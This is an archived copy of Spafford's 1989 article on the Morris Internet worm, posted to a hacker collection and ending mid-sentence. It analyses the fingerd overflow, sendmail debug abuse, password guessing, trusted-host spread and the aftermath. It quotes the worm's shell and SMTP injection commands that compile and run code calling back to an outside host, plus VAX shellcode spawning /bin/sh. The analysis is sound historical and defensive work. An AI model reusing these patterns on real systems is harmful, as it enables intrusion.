home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / worm.doc < prev   
Text File  |  1995-01-03  |  45KB  |  751 lines

  1. Ok dudes, grabed this of a CD-ROM disk of articles, explains how the internet
  2. worm worked.
  3.             Chamelion
  4.  
  5. Journal:   Communications of the ACM  June 1989  v32 n6 p678(10)
  6.  
  7. Title:     Crisis and aftermath. (the Internet worm)
  8. Author:    Spafford, Eugene H.
  9.  
  10. Summary:   The Internet computer network was attacked on Nov 2, 1988, by a
  11. computer worm.  Although the program affected only Sun Microsystems Sun-3
  12. workstations and VAX computers running a variant of version 4 of the Berkeley
  13. Unix, the program spread over a huge section of the network.  Early the
  14. following day a number of methods for containing and eradicating the virus
  15. had been discovered and published.  It was discovered that the worm exploited
  16. flaws in the Unix operating system's security routines and used some of
  17. Unix's own utilities to propagate itself.  A complete description of the
  18. workings of the worm and its methods of entry into Unix systems are
  19. discussed.  The aftermath of the infection and the motives of Robert T.
  20. Morris, its author, are also discussed.
  21.  
  22. Full Text:
  23.  
  24. Crisis and Aftermath On the evening of November 2, 1988 the Internet came
  25. under attack from within.  Sometime after 5 p.m., a program was executed on
  26. one or more hosts connected to the Internet.  That program collected host,
  27. network, and user information, then used that information to break into other
  28. machines using flaws present in those systems' software.  After breaking in,
  29. the program would replicate itself and the replica would attempt to infect
  30. other systems in the same manner.
  31.  
  32. Although the program would only infect Sun Micro-systems' Sun 3 systems and
  33. VAX computers running variants of 4 BSD UNIX, the program spread quickly, as
  34. did the confusion and consternation of system administrators and users as
  35. they discovered the invasion of their systems.  The scope of the break-ins
  36. came as a great surprise to almost everyone, despite the fact that UNIX has
  37. long been known to have some security weaknesses (cf. [4, 12, 13]).
  38.  
  39. The program was mysterious to users at sites where it appeared. Unusual files
  40. were left in the /usr/tmp directories of some machines, and strange messages
  41. appeared in the log files of some of the utilities, such as the sendmail mail
  42. handling agent.  The most noticeable effect, however, was that systems became
  43. more and more loaded with running processes as they became repeatedly
  44. infected. As time went on, some of these machines bacame so loaded that they
  45. were unable to continue any processing; some machines failed completely when
  46. their swap space or process tables were exhausted.
  47.  
  48. By early Thursday morning, November 3, personnel at the University of
  49. California at Berkeley and Massachusetts Institute of Technology (MIT) had
  50. "captured" copies of the program and began to analyze it. People at other
  51. sites also began to study the program and were developing methods of
  52. eradicating it.  A common fear was that the program was somehow tampering
  53. with system resources in a way that could not be readily detected--that while
  54. a cure was being sought, system files were being altered or information
  55. destroyed.  By 5 a.m. Thursday morning, less than 12 hours after the program
  56. was first discovered on the network, the Computer Systems Research Group at
  57. Berkeley had developed an interim set of steps to halt its spread. This
  58. included a preliminary patch to the sendmail mail agent.  The suggestions
  59. were published in mailing lists and on the Usenet, although their spread was
  60. hampered by systems disconnecting from the Internet to attempt a
  61. "quarantine."
  62.  
  63. By about 9 p.m. Thursday, another simple, effective method of stopping the
  64. invading program, without altering system utilities, was discovered at Purdue
  65. and also widely published.  Software patches were posted by the Berkeley
  66. group at the same time to mend all the flaws that enabled the program to
  67. invade systems.  All that remained was to analyze the code that caused the
  68. problems and discover who had unleashed the worm--and why.  In the weeks that
  69. followed, other well-publicized computer break-ins occurred and a number of
  70. debates began about how to deal with the individuals staging these invasions.
  71. There was also much discussion on the future roles of networks and security.
  72. Due to the complexity of the topics, conclusions drawn from these discussions
  73. may be some time in coming.  The on-going debate should be of interest to
  74. computer professionasl everywhere, however.
  75.  
  76. HOW THE WORM OPERATED
  77.  
  78. The worm took advantage of some flaws in standard software installed on many
  79. UNIX systems.  It also took advantage of a mechanism used to simplify the
  80. sharing of resources in local area networks.  Specific patches for these
  81. flaws have been widely circulated in days since the worm program attached the
  82. Internet.
  83.  
  84. Fingerd
  85.  
  86. The finger program is a utility that allows users to obtain information about
  87. other users.  It is usually used to identify the full name or login name of a
  88. user, whether or not a user is currently logged in, and possibly other
  89. information about the person such as telephone numbers where he or she can be
  90. reached.  The fingerd program is intended to run as a daemon, or background
  91. process, to service remote requests using the finger protocol.  This daemon
  92. program accepts connections from remote programs, reads a single line of
  93. input, and then sends back output matching the received request.
  94.  
  95. The bug exploited to break fingerd involved overrunning the buffer the daemon
  96. used for input.  The standard C language I/O library has a few routines that
  97. read input without checking for bounds on the buffer involved.  In
  98. particular, the gets call takes input to a buffer without doing any bounds
  99. checking; this was the call exploited by the worm.  As will be explained
  100. later, the input overran the buffer allocated for it and rewrote the stack
  101. frame thus altering the behavior of the program.
  102.  
  103. The gets routine is not the only routine with this flaw.  There is a whole
  104. family of routines in the C library that may also overrun buffers when
  105. decoding input or formatting output unless the user explicitly specifies
  106. limits on the number of characters to be converted.  Although experienced C
  107. programmers are aware of the problems with these routines, they continue to
  108. use them.  Worse, their format is in some sense codified not only by
  109. historical inclusion in UNIX and the C language, but more formally in the
  110. forthcoming ANSI language standard for C.  The hazard with these calls is
  111. that any network server or privileged program using them may possibly be
  112. compromised by careful precalculation of the (in)appropriate input.
  113.  
  114. Interestingly, at least two long-standing flaws based on this underlying
  115. problem have recently been discovered in standard BSD UNIX commands.  Program
  116. audits by various individuals have revealed other potential problems, and
  117. many patches have been circulated since November to deal with these flaws.
  118. Unfortunately, the library routines will continue to be used, and as our
  119. memory of this incident fades, new flaws may be introduced with their use.
  120.  
  121. Sendmail
  122.  
  123. The sendmail program is a mailer designed to route mail in a heterogeneous
  124. internetwork.  The program operates in a number of modes, but the one
  125. exploited by the worm involves the mailer operating as a daemon (background)
  126. process.  In this mode, the program is "listening" on a TCP port (#25) for
  127. attempts to deliver mail using the standard Internet protocol, SMTP (Simple
  128. Mail Transfer Protocol).  When such an attempt is detected, the daemon enters
  129. into a dialog with the remote mailer to determine sender, recipient, delivery
  130. instructions, and message contents.
  131.  
  132. The bug exploited in sendmail had to do with functionality provided by a
  133. debugging option in the code.  The worm would issue the DEBUG command to
  134. sendmail and then specify a set of commands instead of a user address.  In
  135. normal operation, this is not allowed, but it is present in the debugging
  136. code to allow testers to verify that mail is arriving at a particular site
  137. without the need to invoke the address resolution routines.  By using this
  138. option, testers can run programs to display the state of the mail system
  139. without sending mail or establishing a separate login connection. The debug
  140. option is often used because of the complexity of configuring sendmail for
  141. local conditions, and it is often left turned on by many vendors and site
  142. administrators.
  143.  
  144. The sendmail program is of immense importance on most Berkeley-derived (and
  145. other) UNIX systems because it handles the complex tasks of mail routing and
  146. delivery.  Yet, despite its importance and widespread use, most system
  147. administrators know little about how it works.  Stories are often related
  148. about how system administrators will attempt to write new device drivers or
  149. otherwise modify the kernel of the operating system, yet they will not
  150. willingly attempt to modify sendmail or its configuration files.
  151.  
  152. It is little wonder, then, that bugs are present in sendmail that allow
  153. unexpected behavior.  Other flaws have been found and reported now that
  154. attention has been focused on the program, but it is not known for sure if
  155. all the bugs have been discovered and all the patches circulated.
  156.  
  157. Passwords
  158.  
  159. A key attack of the worm involved attempts to discover user passwords.  It
  160. was able to determine success because the encrypted password of each user was
  161. in a publicly readable file.  In UNIX systems, the user provides a password
  162. at sign-on to verify identity.  The password is encrypted using a permuted
  163. version of the Data Encryption Standard (DES) algorithm, and the result is
  164. compared against a previously encrypted version present in a word-readable
  165. accounting file.  If a match occurs, access is allowed.  No plaintext
  166. passwords are contained in the file, and the algorithm is supposedly
  167. noninvertible without knowledge of the password.
  168.  
  169. The organization of the passwords in UNIX allows nonprivileged commands to
  170. make use of information stored in the accounts file, including
  171. authentification schemes using user passwords.  However, it also allows an
  172. attacker to encrypt lists of possible passwords and then compare them against
  173. the actual passwords without calling any system function.  In effect, the
  174. security of the passwords is provided by the prohibitive effort of trying
  175. this approach with all combinations of letters.  Unfortunately, as machines
  176. get faster, the cost of such attempts decreases.  Dividing the task among
  177. multiple processors further reduces the time needed to decrypt a password.
  178. Such attacks are also made easier when users choose obvious or common words
  179. for their passwords.  An attacker need only try lists of common words until a
  180. match is found.
  181.  
  182. The worm used such an attack to break passwords.  It used lists of words,
  183. including the standard online dictionary, as potential passwords.  It
  184. encrypted them using a fast version of the password algorithm and then
  185. compared the result against the contents of the system file.  The worm
  186. exploited the accessibility of the file coupled with the tendency of users to
  187. choose common words as their passwords.  Some sites reported that over 50
  188. percent of their passwords were quickly broken by this simple approach.
  189.  
  190. One way to reduce the risk of such attacks, and an approach that has already
  191. been taken in some variants of UNIX, is to have a shadow password file.  The
  192. encrypted passwords are saved in a file (shadow) that is readable only by the
  193. system administrators, and a privileged call performs password encryptions
  194. and comparisons with an appropriate timed delay (0.5 to 1 second, for
  195. instance).  This would prevent any attempt to "fish" for passwords.
  196. Additionally, a threshold could be included to check for repeated password
  197. attempts from the same process, resulting in some form of alarm being raised.
  198. Shadow password files should be used in combination with encryption rather
  199. than in place of such techniques, however, or one problem is simply replaced
  200. by a different one (securing the shadow file); the combination of the two
  201. methods is stronger than either one alone.
  202.  
  203. Another way to strengthen the password mechanism would be to change the
  204. utility that sets user passwords.  The utility currently makes a minimal
  205. attempt to ensure that new passwords are nontrivial to guess.  The program
  206. could be strengthened in such a way that it would reject any choice of a word
  207. currently in the online dictionary or based on the account name.
  208.  
  209. A related flaw exploited by the worm involved the use of trusted logins.  One
  210. of the most useful features of BSD UNIX-based networking code is the ability
  211. to execute tasks on remote machines. To avoid having to repeatedly type
  212. passwords to access remote accounts, it is possible for a user to specify a
  213. list of host/login name pairs that are assumed to be "trusted," in the sense
  214. that a remote access from that host/login pair is never asked for a password.
  215. This feature has often been responsible for users gaining unauthorized access
  216. to machines (cf. [11]), but it continues to be used because of its great
  217. convenience.
  218.  
  219. The worm exploited the mechanism by locating machines that might "trust" the
  220. current machine/login being used by the worm.  This was done by examining
  221. files that listed remote machine/logins used by the host.  Often, machines
  222. and accounts are reconfigured for reciprocal trust.  Once the worm found such
  223. likely candidates, it would attempt to instantiate itself on those machines
  224. by using the remote execution facility--copying itself to the remote machines
  225. as if it were an authorized user performing a standard remote operation.
  226.  
  227. To defeat such future attempts requires that the current remote access
  228. mechanism be removed and possibly replaced with something else.  One
  229. mechanism that shows promise in this area is the Kerberos authentication
  230. server.  This scheme uses dynamic session keys that need to be updated
  231. periodically.  Thus, an invader could not make use of static authorizations
  232. present in the file system.
  233.  
  234. High Level Description
  235.  
  236. The worm consisted of two parts: a main program, and a bootstrap or vector
  237. program.  The main program, once established on a machine, would collect
  238. information on other machines in the network to which the current machine
  239. could connect.  It would do this by reading public configuration files and by
  240. running system utility programs that present information about the current
  241. state of network connections.  It would then attempt to use the flaws
  242. described above to establish its bootstrap on each of those remote machines.
  243.  
  244. The worm was brought over to each machine it infected via the actions of a
  245. small program commonly referred to as the vector program or as the grappling
  246. hook program.  Some people have referred to it as the l1.c program, since
  247. that is the file name suffix used on each copy.
  248.  
  249. This vector program was 99 lines of C code that would be compiled and run on
  250. the remote machine.  The source for this program would be transferred to the
  251. victim machine using one of the methods discussed in the next section.  It
  252. would then be compiled and invokedon the victim machine with three command
  253. line arguments: the network address of the infecting machine, the number of
  254. the network port to connect to on that machine to get copies of the main worm
  255. files, and a magic number that effectively acted as a one-time-challenge
  256. password.  If the "server" worm on the remote host and port did not receive
  257. the same magic number back before starting the transfer, it would immediately
  258. disconnect from the vector program.  This may have been done to prevent
  259. someone from attempting to "capture" the binary files by spoofing a worm
  260. "server."
  261.  
  262. This code also went to some effort to hide itself, both by zeroing out its
  263. argument vector (command line image), and by immediately forking a copy of
  264. itself.  If a failure occurred in transferring a file, the code deleted all
  265. files it had already transferred, then it exited.
  266.  
  267. Once established on the target machine, the bootstrap would connect back to
  268. the instance of the worm that originated it and transfer a set of binary
  269. files (precompiled code) to the local machine.  Each binary file represented
  270. a version of the main worm program, compiled for a particular computer
  271. architecture and operating system version.  The bootstrap would also transfer
  272. a copy of itself for use in infecting other systems.  One curious feature of
  273. the bootstrap has provoked many questions, as yet unanswered: the program had
  274. data structures allocated to enable transfer of up to 20 files; it was used
  275. with only three.  this has led to speculation whether a more extensive
  276. version of the worm was planned for a later date, and if that version might
  277. have carried with it other command files, password data, or possibly local
  278. virus or trojan horse programs.
  279.  
  280. Once the binary files were transferred, the bootstrap program would load and
  281. link these files with the local versions of the standard libraries.  One
  282. after another, these programs were invoked.  If one of them ran successfully,
  283. it read into its memory copies of the bootstrap and binary files and then
  284. deleted the copies on disk. It would then attempt to break into other
  285. machines.  If none of the linked versions ran, then the mechanism running the
  286. bootstrap (a command file or the parent worm) would delete all the disk files
  287. created during the attempted infection.
  288.  
  289. Step-by-Step Description
  290.  
  291. This section contains a more detailed overview of how the worm program
  292. functioned.  The description in this section assumes that the reader is
  293. somewhat familiar with standard UNIX commands and with BSD UNIX network
  294. facilities.  A more detailed analysis of operation and components can be
  295. found in [16], with additional details in [3] and [15].
  296.  
  297. This description starts from the point at which a host is about to be
  298. infected.  At this point, a worm running on another machine has either
  299. succeeded in establishing a shell on the new host and has connected back to
  300. the infecting machine via a TCP connection, or it has connected to the SMTP
  301. port and is transmitting to the sendmail program.  The infection proceeded as
  302. follows:
  303.  
  304. 1. A socket was established on the infecting machine for the vector program
  305. to connect to (e.g., socket number 32341).  A challenge string was
  306. constructed from a random number (e.g., 8712440).  A file name base was also
  307. constructed using a random number (e.g., 14481910).
  308.  
  309. 2. The vector program was installed and executed using one of two methods:
  310.  
  311. a. Across a TCP connection to a shell, the worm would send the following
  312. commands (the three lines beginning with "cc" and the two lines beginning
  313. with "echo" were sent as a single line): PATH=/bin:/usr/bin:/usr/ucb cd;
  314. /usr/tmp echo gorch49; sed '/int zz/q' > x14481910.c; echo gorch50 [text of
  315. vector program] int zz; cc -o z14481910 x14481910.c;./x14481910 128.32.134.16
  316. 32341 8712440; rm -f x14481910 x14481910.c; echo DONE
  317.  
  318. Then it would wait for the string "DONE" to signal that the vector program
  319. was running.
  320.  
  321. b. Using the SMTP connection, it would transmit (the three lines beginning
  322. with "cc" and the two lines beginning with "rcpt" were sent as a single
  323. line): debug mail from: </dev/null> rcpt to: <"!sed -e '1,/*$/'d! /bin/sh;
  324. exit 0"> data cd /usr/tmp cat > x14481901.c << 'EOF' [text of vector program]
  325. EOF cc -o x14481910 x14481910.c; x14481910 128.32.134.16 32341 8712440; rm -f
  326. x14481910 x14481910.c quit
  327.  
  328. The infecting worm would then wait for up to two minutes on the designated
  329. port for the vector to contact it.
  330.  
  331. 3. The vector program then connected to the "server," sent the challenge
  332. string, and transferred three files: a Sun 3 binary version of the worm, a
  333. VAX version, and the source code for the vector program.  After the files
  334. were copied, the running vector program became (via the execl call) a shell
  335. with its input and output still connected to the server worm.
  336.  
  337. 4. The server worm sent the following command stream to the connected shell:
  338. PATH=/bin:/usr/bin:/usr/ucb rm -f sh if [ -f sh ] then P=x14481910 else P=sh
  339. fi
  340.  
  341. Then, for each binary file it had transferred (just two in this case,
  342. although the code is written to allow more), it would send the following form
  343. of command sequence: cc -o $P x14481910, sun3.o ./$P -p $$ x14481910,sun3.o
  344. x14481910,vax.o x14481910,11.c rm -f $P
  345.  
  346. The rm would succeed only if the linked version of the worm failed to start
  347. execution.  If the server determined that the host was now infected, it
  348. closed the connection.  Otherwise, it would try the other binary file.  After
  349. both binary files had been tried, it would send over rm commands for the
  350. object files to clear away all evidence of the attempt at infection.
  351.  
  352. 5. The new worm on the infected host proceeded to "hide" itself by obscuring
  353. its argument vector, unlinking the binary version of itself, and killing its
  354. parent (the $$ argument in the invocation). It then read into memory each of
  355. the worm binary files, encrypted each file after reading it, and deleted the
  356. files from disk.
  357.  
  358. 6. Next, the worm gathered information about network interfaces and hosts to
  359. which the local machine was connected.  It built lists of these in memory,
  360. including information about canonical and alternate names and addresses.  It
  361. gathered some of this information by making direct ioctl calls, and by
  362. running the netstat program with various arguments.  It also read through
  363. various system files looking for host names to add to its database.
  364.  
  365. 7. It randomized the lists it constructed, then attempted to infect some of
  366. those hosts.  For directly connected networks, it created a list of possible
  367. host numbers and attempted to infect those hosts if they existed.  Depending
  368. on the type of host (gateway or local network), the worm first tried to
  369. establish a connection on the telnet or rexec ports to determine reachability
  370. before it attempted one of the infection methods.
  371.  
  372. 8. The infection attempts proceeded by one of three routes: rsh, fingerd, or
  373. sendmail.
  374.  
  375. a. The attack via rsh was done by attempting to spawn a remote shell by
  376. invocation of (in order of trial) /usr/ucb/rsh, /usr/bin/rsh, and /bin/rsh.
  377. If successful, the host was infected as in steps 1 and 2(a).
  378.  
  379. b. The attack via the finger daemon was somewhat more subtle.  A connection
  380. was established to the remote finger server daemon and then a specially
  381. constructed string of 536 bytes was passed to the daemon, overflowing its
  382. input buffer and overwriting parts of the stack.  For standard 4BSD versions
  383. running on VAX computers, the overflow resulted in the return stack frame for
  384. the main routine being changed so that the return address pointed into the
  385. buffer on the stack.  The instructions that were written into the stack at
  386. that location were: pushl $68732f '/sh\0' pushl $6e69622f '/bin' movl sp, r10
  387. pushl $0 pushl $0 pushl r10 pushl $3 movl sp,ap chmk $3b
  388.  
  389. That is, the code executed when the main routine attempted to return was:
  390. execve("/bin/sh", 0, 0)
  391.  
  392. On VAXs, this resulted in the worm connected to a remote shell via the TCP
  393. connection.  The worm then proceeded to infect the host as in steps 1 and
  394. 2(a).  On Suns, this simply resulted in a core dump since the code was not in
  395. place to corrupt a Sun version of fingerd in a similar fashion.  Curiously,
  396. correct machine-specific code to corrupt Suns could have been written in a
  397. matter of hours and included, but was not [16].
  398.  
  399. c. The worm then tried to infect the remote host by establishing a connection
  400. to the SMTP port and mailing an infection, as in step 2(b).
  401.  
  402. Not all the steps were attempted.  As soon as one method succeeded, the host
  403. entry in the internal list was marked as infected and the other methods were
  404. not attempted.
  405.  
  406. 9. Next, it entered a state machine consisting of five states. Each state but
  407. the last was run for a short while, then the program looped back to step 7
  408. (attempting to break into other hosts via sendmail, finger, or rsh).  The
  409. first four of the five states were attempts to break into user accounts on
  410. the local machine.  The fifth state was the final state, and occurred after
  411. all attempts had been made to break all passwords.  In the fifth state, the
  412. worm looped forever trying to infect hosts in its internal tables and marked
  413. as not yet infected.  The first four states were:
  414.  
  415. a. The worm read through the /etc/hosts.equiv files and /.rhosts files to
  416. find the names of equivalent hosts.  These were marked in the internal table
  417. of hosts.  Next, the worm read the /etc/passwd (the account and password
  418. file) file into an internal data structure.  As it was doing this, it also
  419. examined the .forward file (used to forward mail to a different host
  420. automatically) in each user home directory and included those host names in
  421. its internal table of hosts to try.  Oddly, it did not similarly check user
  422. .rhosts files.
  423.  
  424. b. The worm attempted to break each user password using simple choices.  The
  425. worm first checked the obvious case of no password. Then, it used the account
  426. name and user information field to try simple passwords.  Assume that the
  427. user had an entry in the password file like:
  428. account:abcdefghijklm:100:5:User, Name:/usr/account:/bin/sh
  429.  
  430. (These represent, respectively, the account name, the encrypted password, the
  431. user ID number, the user's default group ID number, per-user information
  432. field, the pathname of the user's home account, and the pathname of the
  433. user's default command interpreter or shell.)  The words tried as potential
  434. passwords would be account, accountaccount, User, Name, user, name, and
  435. tnuocca.  These are, respectively, the account name, the account name
  436. concatenated with itself, the first and last names of the user, the user
  437. names with leading capital letters turned to lowercase, and the account name
  438. reversed.  Experience described in [4] indicates that on systems where users
  439. are naive about password security, these choices may work for a significant
  440. percentage of user accounts.
  441.  
  442. Step 10 describes what was done if a password "hit" was achieved.
  443.  
  444. c. The third stage in the process involved trying to break the password of
  445. each user by trying each word present in an internal dictionary of words.
  446. This dictionary of 432 words was tried against each account in a random
  447. order, with password "hits" being handled as described in step 10.  (The
  448. complete dictionary is given in [16].)
  449.  
  450. d. The fourth stage was entered if all other attempts failed.  For each word
  451. in the UNIX online dictionary, the worm would see if it was the password to
  452. any account.  In addition, if the word in the dictionary began with an
  453. uppercase letter, the letter was converted to lowercase and that word was
  454. also tried against all the passwords.
  455.  
  456. 10. Once a password was broken for any account, the worm would attempt to
  457. break into remote machines where that user had accounts. The worm would scan
  458. the .forward and .rhosts files of the user at this point, and identify the
  459. names of remote hosts that had accounts used by the target user.  It then
  460. attempted two attacks:
  461.  
  462. a. The worm would first attempt to create a remote shell using the rexec
  463. service.  The attempt would be made using the account name given in the
  464. .forward or .rhosts file and the user's local password.  This took advantage
  465. of the fact that users often have the same password on their accounts on
  466. multiple machines.
  467.  
  468. b. The worm would do a rexec to the current host (using the local user name
  469. and password) and would try a rsh command to the remote host using the
  470. username taken from the file.  This attack would succeed in those cases where
  471. the remote machine had a hosts.equiv file or the user had a .rhosts file that
  472. allowed remote execution without a password.
  473.  
  474. If the remote shell was created either way, the attack would continue as in
  475. steps 1 and 2(a).  No other use was made of the user password.
  476.  
  477. Throughout the execution of the main loop, the worm would check for other
  478. worms running on the same machine.  To do this, the worm would attempt to
  479. connect to another worm on a local, predetermined TCP socket.  If such a
  480. connection succeeded, one worm would (randomly) set its pleasequit variable
  481. to 1, causing that worm to exit after it had reached part way into the third
  482. stage (9c) of password cracking.  This delay is part of the reason many
  483. systems had multiple worms running: even though a worm would check for other
  484. local worms, it would defer its self-destruction until significant effort had
  485. been made to break local passwords.  Furthermore, race conditions in the code
  486. made it possible for worms on heavily loaded machines to fail to connect,
  487. thus causing some of them to continue indefinitely despite the presence of
  488. other worms.
  489.  
  490. One out of every seven worms would become immortal rather than check for
  491. other local worms.  Based on a generated random number they would set an
  492. internal flag that would prevent them from ever looking for another worm on
  493. their host.  This may have been done to defeat any attempt to put a fake worm
  494. process on the TCP port to kill existing worms.  Whatever the reason, this
  495. was likely the primary cause of machines being overloaded with multiple
  496. copies of the worm.
  497.  
  498. The worm attempted to send an UDP packet to the host ernie.berkeley.edu
  499. approximately once every 15 infections, based on a random number comparison.
  500. The code to do this was incorrect, however, and no information was ever sent.
  501. Whether this was an intended ruse or whether there was actually some reason
  502. for the byte to be sent is not currently known.  However, the code is such
  503. that an uninitialized byte is the intended message.  It is possible that the
  504. author eventually intended to run some monitoring program on ernie (after
  505. breaking into an account, perhaps).  Such a program could obtain the sending
  506. host number from the single-byte message, whether it was sent as a TCP or UDP
  507. packet.  However, no evidence for such a program has been found and it is
  508. possible that the connection was simply a feint to cast suspicion on
  509. personnel at Berkeley.
  510.  
  511. The worm would also fork itself on a regular basis and kill its parent.  This
  512. served two purposes.  First, the worm appeared to keep changing its process
  513. identifier and no single process accumulated excessive amounts of CPU time.
  514. Secondly, processes that have been running for a long time have their
  515. priority downgraded by the scheduler.  By forking, the new process would
  516. regain normal scheduling priority.  This mechanism did not always work
  517. correctly, either, as we locally observed some instances of the worm with
  518. over 600 seconds of accumulated CPU time.
  519.  
  520. If the worm ran for more than 12 hours, it would flush its host list of all
  521. entries flagged as being immune or already infected. The way hosts were added
  522. to this list implies that a single worm might reinfect the same machines
  523. every 12 hours.
  524.  
  525. AFTERMATH
  526.  
  527. In the weeks and months following the release of the Internet worm, there
  528. have been a number of topics hotly debated in mailing lists, media coverage,
  529. and personal conversations.  I view a few of these as particularly
  530. significant, and will present them here.
  531.  
  532. Author, Intent, and Punishment
  533.  
  534. Two of the first questions to be asked--even before the worm was
  535. stopped--were simply the questions who and why.  Who had written the worm,
  536. and why had he/she/they loosed it upon the Internet?  The question of who was
  537. answered quite shortly thereafter when the New York Times identified Robert
  538. T. Morris.  Although he has not publicly admitted authorship, and no court of
  539. law has yet pronounced guilt, there seems to be a large body of evidence to
  540. support such an identification.
  541.  
  542. Various officials have told me that they have obtained statements from
  543. multiple individuals to whom Morris spoke about the worm and its development.
  544. They also have records from Cornell University computers showing early
  545. versions of the worm code being tested on campus machines.  They also have
  546. copies of the worm code, found in Morris' account.
  547.  
  548. Thus, the identity of the author seems fairly well-established. But his
  549. motive remains a mystery.  Speculation has ranged from an experiment gone
  550. awry to an unconscious act of revenge against his father, who is the National
  551. Computer Security Center's chief scientist.  All of this is sheer
  552. speculation, however, since no statement has been forthcoming from Morris.
  553. All we have to work with is the decompiled code for the program and our
  554. understanding of its effects.  It is impossible to intuit the real motive
  555. from those or from various individuals' experiences with the author.  We must
  556. await a definitive statement by the author to answer the question why?
  557. Considering the potential legal consequences, both criminal and civil, a
  558. definitive statement from Morris may be some time in coming, if it ever does.
  559.  
  560. Two things have impressed many people (this author included) who have read
  561. the decompiled code.  First, the worm program contained no code to explicitly
  562. damage any system on which it ran.  Considering the ability and knowledge
  563. evidenced by the code, it would have been a simple matter for the author to
  564. have included such commands if that was his intent.  Unless the worm was
  565. released prematurely, it appears that the author's intent did not involve
  566. destruction or damage of any data or system.
  567.  
  568. The second feature of note was that the code had no mechanism to halt the
  569. spread of the worm.  Once started, the worm would propagate while also taking
  570. steps to avoid identification and capture.  Due to this and the complex
  571. argument string necessary to start it, individuals who have examined the worm
  572. (this author included) believe it unlikely that the worm was started by
  573. accident or was not intended to propagate widely.
  574.  
  575. In light of our lack of definitive information, it is puzzling to note
  576. attempts to defend Morris by claiming that his intent was to demonstrate
  577. something about Internet security, or that he was trying a harmless
  578. experiment.  Even the president of the ACM, Bryan Kocher, stated that it was
  579. a prank in [7].  It is curious that this many people, both journalists and
  580. computer professionals alike, would assume to know the intent of the author
  581. based on the observed behavior of the program.  As Rick Adams of the Center
  582. for Seismic Studies observed in a posting to the Usenet, we may someday hear
  583. that the worm was actually written to impress Jodie Foster--we simply do not
  584. know the real reason.
  585.  
  586. Coupled with this tendency to assume motive, we have observed very different
  587. opinions on the punishment, if any, to mete out to the author.  One
  588. oft-expressed opinion, especially by those individuals who believe the worm
  589. release was an accident or an unfortunate experiment, is that the author
  590. should not be punished.  Some have gone so far as to say that the author
  591. should be rewarded and the vendors and operators of the affected machines
  592. should be the ones punished, this on the theory that they were sloppy about
  593. their security and somehow invited the abuse!
  594.  
  595. The other extreme school of thought holds that the author should be severely
  596. punished, including a term in a federal penitentiary. (One somewhat humorous
  597. example of this point of view was espoused by syndicated columnist Mike
  598. Royko.)
  599.  
  600. As has been observed in both [2] and [6], it would not serve us well to
  601. overreact to this particular incident.   However, neither should we dismiss
  602. it as something of no consequence.  The fact that there was no damage done
  603. may have been an accident, and it is possible that the author intended for
  604. the program to clog the Internet as it did.  Furthermore, we should be wary
  605. of setting dangerous precedent for this kind of behavior.  Excusing acts of
  606. computer vandalism simply because the authors claim there was no intent to
  607. cause damage will do little to discourage repeat offenses, and may, in fact,
  608. encourage new incidents.
  609.  
  610. The claim that the victims of the worm were somehow responsible for the
  611. invasion of their machines is also curious.  The individuals making this
  612. claim seem to be stating that there is some moral or legal obligation for
  613. computer users to track and install every conceivable security fix and
  614. mechanism available.  This completely ignores the fact that many sites run
  615. turnkey systems without source code or knowledge of how to modify their
  616. systems.  Those sites may also be running specialized software or have
  617. restricted budgets that prevent them from installing new software versions.
  618. Many commercial and government sites operate their systems in this way.  To
  619. attempt to blame these individuals for the success of the worm is equivalent
  620. to blaming an arson victim for the fire because she didn't build her house of
  621. fireproof metal.  (More on this theme can be found in [17].)
  622.  
  623. The matter of appropriate punishment will likely be decided by a federal
  624. judge.  A grand jury in Syracuse, N.Y., has been hearing testimony on the
  625. matter.  A federal indictment under the United States Code, Title 18, Section
  626. 1030 (the Computer Crime statute), parts (a)(3) or (a)(5) might be returned.
  627. Section (a)(5), in particular, is of interest.  That part of the statute
  628. makes it a felony if an individual "intentionally accesses a federal interest
  629. computer without authorization, and by means of one or more instances of such
  630. conduct alters, damages, or destroys information . . . , or prevents
  631. authorized use of any such computer or information and thereby causes loss to
  632. one or more others of a value aggregating $1,000 or more during any one year
  633. period" (emphasis added).  State and civil suits might also be brought in
  634. this case.
  635.  
  636. Worm Hunters
  637.  
  638. A significant conclusion reached at the NCSC post-mortem workshop was that
  639. the reason the worm was stopped so quickly was due almost solely to the UNIX
  640. "old-boy" network, and not due to any formal mechanism in place at the time.
  641. A recommendation from that workshop was that a formal crisis center be
  642. established to deal with future incidents and to provide a formal point of
  643. contact for individuals wishing to report problems.  No such center was
  644. established at that time.
  645.  
  646. On November 29, 1988, someone exploiting a security flaw present in older
  647. versions of the FTP file transfer program broke into a machine on the MILNET.
  648. The intruder was traced to a machine on the Arpanet, and to immediately
  649. prevent further access, the MILNET/Arpanet links were severed.  During the
  650. next 48 hours there was considerable confusion and rumor about the
  651. disconnection, fueled in part by the Defense Communication Agency's attempt
  652. to explain the disconnection as a "test" rather than as a security problem.
  653.  
  654. This event, coming as close as it did to the worm incident, prompted DARPA to
  655. establish the CERT--the Computer Emergency Response Team--at the Software
  656. Engineering Institute at Carnegie Mellon University.  The purpose of CERT is
  657. to act as a central switchboard and coordinator for computer security
  658. emergencies on Arpanet and MILnet computers.  The Center has asked for
  659. volunteers from federal agencies and funded laboratories to serve as
  660. technical advisors when needed.
  661.  
  662. Of interest here is that CERT is not chartered to deal with any Internet
  663. emergency.  Thus, problems detected in the CSnet, Bitnet, NSFnet, and other
  664. Internet communities may not be referable to the CERT.  I was told that it is
  665. the hope of CERT personnel that these other networks will develop their own
  666. CERT-like groups.  This, of course, may make it difficult to coordinate
  667. effective action and communication during the next threat.  It may even
  668. introduce rivalry in the development and dissemination of critical
  669. information.
  670.  
  671. Also of interest is the composition of the personnel CERT is enlisting as
  672. volunteers.  Apparently there has been little or no solicitation of expertise
  673. among the industrial and academic computing communities.  This is precisely
  674. where the solution to the worm originated.  The effectiveness of this
  675. organization against the next Internet-wide crisis will be interesting to
  676. note.
  677.  
  678. CONCLUSIONS
  679.  
  680. All the consequences of the Internet worm incident are not yet known; they
  681. may never be.  Most likely there will be changes in security consciousness
  682. for at least a short period of time.  There may also be new laws and new
  683. regulations from the agencies governing access to the Internet.  Vendors may
  684. change the way they test and market their products--and not all of the
  685. possible changes will be advantageous to the end-user (e.g., removing the
  686. machine/host equivalence feature for remote execution).  Users' interactions
  687. with their systems may change as well.  It is also possible that no
  688. significant change will occur anywhere.  The final benefit or harm of the
  689. incident will only become clear with the passage of time.
  690.  
  691. It is important to note that the nature of both the Internet and UNIX helped
  692. to defeat the worm as well as spread it.  The immediacy of communication, the
